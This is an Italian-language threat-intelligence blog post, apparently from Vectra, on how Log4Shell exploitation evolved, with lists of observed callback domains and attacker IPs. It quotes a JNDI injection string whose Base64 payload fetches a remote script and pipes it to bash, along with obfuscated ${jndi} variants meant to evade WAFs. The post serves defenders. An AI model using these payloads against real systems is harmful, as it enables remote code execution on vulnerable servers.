Lo scorso fine settimana gli exploit JNDI sono stati qualcosa di incredibile. Molti team di sicurezza in tutto il mondo si sono affrettati a raggiungere i loro posti, impiegando molte ore per identificare, bloccare, applicare le patch e, probabilmente, litigare con i team dell'infrastruttura per apportare le modifiche necessarie a correggere questo 0day, ora chiamato CVE-2021-44228.
L'evoluzione degli exploit vista attraverso i metadati di rete
Durante il fine settimana e in questa settimana, Vectra ha monitorato attivamente i tentativi degli aggressori di sfruttare questo exploit in natura. Il grafico sottostante, estratto da Vectra Recall, mostra una raffica di richieste HTTP che contengono i payload per orchestrare l'exploit.
La maggior parte di questi tentativi originali proveniva dalla rete ToR e cercava di far richiamare gli host al dominio: *bingsearchlib[.]com. Sebbene vi siano alcune speculazioni su cosa questo dominio stesse scaricando, non sono stati osservati payload recuperati da qui da Vectra. L'analisi privata suggerisce che il payload fosse legato al mining di monete, ma potrebbero esserci altri fattori che confondono le acque quando si tratta di connessioni ToR, di cui parleremo a breve. Vectra ha osservato i diversi domini utilizzati come call-back nelle stringhe di log4shell (inseriti nell'agente utente, nell'URI o in altri campi di testo semplice della richiesta HTTP). Una serie di domini osservati da Vectra sono elencati di seguito, insieme ai domini correlati indicati da fox-it open source intelligence*.
ds.Rce[.]ee
*bingsearchlib[.]com
*psc4fuel.com
*eg0[.]ru
*awsdns-2[.]org
*flofire[.]de
*nijat[.]space
*dataastatistics[.]com
*pwn[.]af
*log4j-test[.]xyz
L'uso dell'exploit così come è stato originariamente identificato si è evoluto, con potenziali aggressori che hanno codificato la parte eseguibile dell'exploit in una stringa Base64 alla fine dell'url JNDI, ad esempio:
${jndi:ldap://1.2.3.4:12344/Basic/Command/Base64/KGN1cmwgLXMgMS4yLjMuNDo1ODc0LzEuMi4zLjQ6NDQzfHx3Z2V0IC1xIC1PLSAxLjIuMy40OjU4NzQvMS4yLjMuNDo0NDMpfGJhc2g=
Vectra ha osservato più volte IP con questa codifica nei nostri metadati. Questi indirizzi IP, insieme agli IP correlati indicati dall'intelligence open source di Fox-it, sono riportati di seguito.
45.146.164[.]160
134.209.26[.]39
45.130.229[.]168
45.83.193[.]150
172.111.48[.]30
45.137.21[.]9
205.185.115[.]217
185.162.251[.]208
45.130.229[.]168
79.172.214[.]11
143.198.237[.]19
162.33.177[.]73
133.130.120[.]176
163.172.157[.]143
45.137.21[.]9
34.125.76[.]237
45.33.47[.]240
152.89.239[.]12
45.155.205[.]233
194.151.29[.]154
158.69.204[.]95
47.254.127[.]78
Un'ulteriore evoluzione che abbiamo osservato in natura è un secondo livello di offuscamento che viene distribuito dagli attori delle minacce. Si trattava di un'altra caratteristica del motore JNDI, che consentiva di decodificare le stringhe inviate nel loro formato originale e quindi di eseguire la connessione al servizio LDAP / Directory. Sono stati osservati i seguenti casi:
${jndi:${lower:l}${lower:d}a${lower:p}://world80
${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//
${jndi:dns://
Sebbene abbiamo notato questa evoluzione alla fine del nostro precedente blog del 10 dicembre, da allora il suo utilizzo è diminuito. Perché?
Purtroppo, i difensori guidano l'evoluzione degli exploit
Mentre i difensori si muovono per costruire una difesa contro i nuovi exploit, gli attaccanti cercano di evolversi. La caduta del secondo livello può essere collegata specificamente a questo repository su GitHub e a questo tweet:
Lo strumento è un exploit POC della vulnerabilità e, pur iniziando con termini come "avviare un server web che consenta di scaricare il binario compilato", passa molto rapidamente ai metodi per aggirare i WAF. È qui che nascono i principali metodi di offuscamento. È possibile sostenere che i difensori devono sapere come aggirare i propri strumenti per difendersi da questi metodi. L'analisi dei tipi di offuscamento di cui si è parlato consente ai team di sviluppare modelli di ricerca e strumenti migliori che consentono di rilevare alcuni di questi nuovi tentativi, come visto sopra. Ma è innegabile che gli aggressori cambino le loro tattiche in base ai ricercatori di sicurezza, e non è possibile costruire firme di exploit specifiche.
Per usare un vecchio esempio, Empire era uno strumento progettato come framework Pentest costruito intorno a PowerShell, ma è stato molto rapidamente utilizzato da attori malintenzionati per compromettere e installare i propri impianti, spesso con modifiche per eludere i loro creatori. Le tecniche sviluppate in Empire sono ancora oggi utilizzate nelle compromissioni IcedID ed Emotet**.
Log4Shell non fa eccezione a questo fenomeno, proprio di recente il ricercatore Márcio Almeida ha twittato quanto segue:
Il che manda all'aria uno dei fattori di attenuazione del blog originale di LunaSec sulla vulnerabilità di Log4Shell:
Sysadmin, analisti SOC, blue team di tutto il mondo - sento il gemito collettivo. Durante la fase attiva di un exploit, cosa che stiamo osservando in natura, un fattore di mitigazione può fare la differenza tra il lasciarvi il tempo di aggiornare e l'installazione completa di un rootkit quando qualcuno aggira quel fattore di mitigazione.
Ricerche come questa sono preziose e favoriscono la conversazione e le pratiche di sicurezza nel loro complesso, ma durante un evento globale attivo possono anche aggiungere benzina al fuoco. Allo stesso modo, la scansione delle vulnerabilità durante un evento globale potrebbe essere considerata controproducente.
Fare il chumming in acqua o rendere difficile vedere gli squali?
Uno dei tentativi di attacco più osservati non è stato sferrato da attori malintenzionati o da singoli individui che hanno testato l'exploit, ma in realtà da società di sicurezza che hanno scansionato diversi host su Internet per identificare gli obiettivi vulnerabili.
Vectra ha osservato almeno due società di sicurezza, una negli Stati Uniti e l'altra nella regione DACH, che effettuano la scansione degli host, utilizzando molteplici tecniche di offuscamento e facendo call-back ai propri domini. Se da un lato questa attività può essere vista come egualitaria e come un modo per aiutare le persone a identificare i propri sistemi vulnerabili, dall'altro potrebbe essere vista come un'attività di marketing per i propri servizi. In ogni caso, molti dei tentativi di scansione iniziali sono stati riempiti da tentativi di scansione delle stesse aziende, rendendo molto più difficile l'identificazione di un vero comportamento dannoso.
Conclusioni
Log4shell non è il primo exploit a sconvolgere il mondo e posso affermare con certezza che non sarà l'ultimo. Gli attaccanti continueranno a evolversi spingendo i difensori ai loro limiti per cercare di impedirgli di entrare. Log4shell è ancora una volta un campanello d'allarme per l'intero settore: i problemi di sicurezza non spariranno e non importa quanto investiamo nella prevenzione, gli attaccanti troveranno un modo.
Volete recuperare gli sviluppi precedenti? Potete leggere il primo post su Log4Shell, qui.
--
*https://blog.fox-it.com/2021/12/12/log4shell-reconnaissance-and-post-exploitation-network-detection/
malware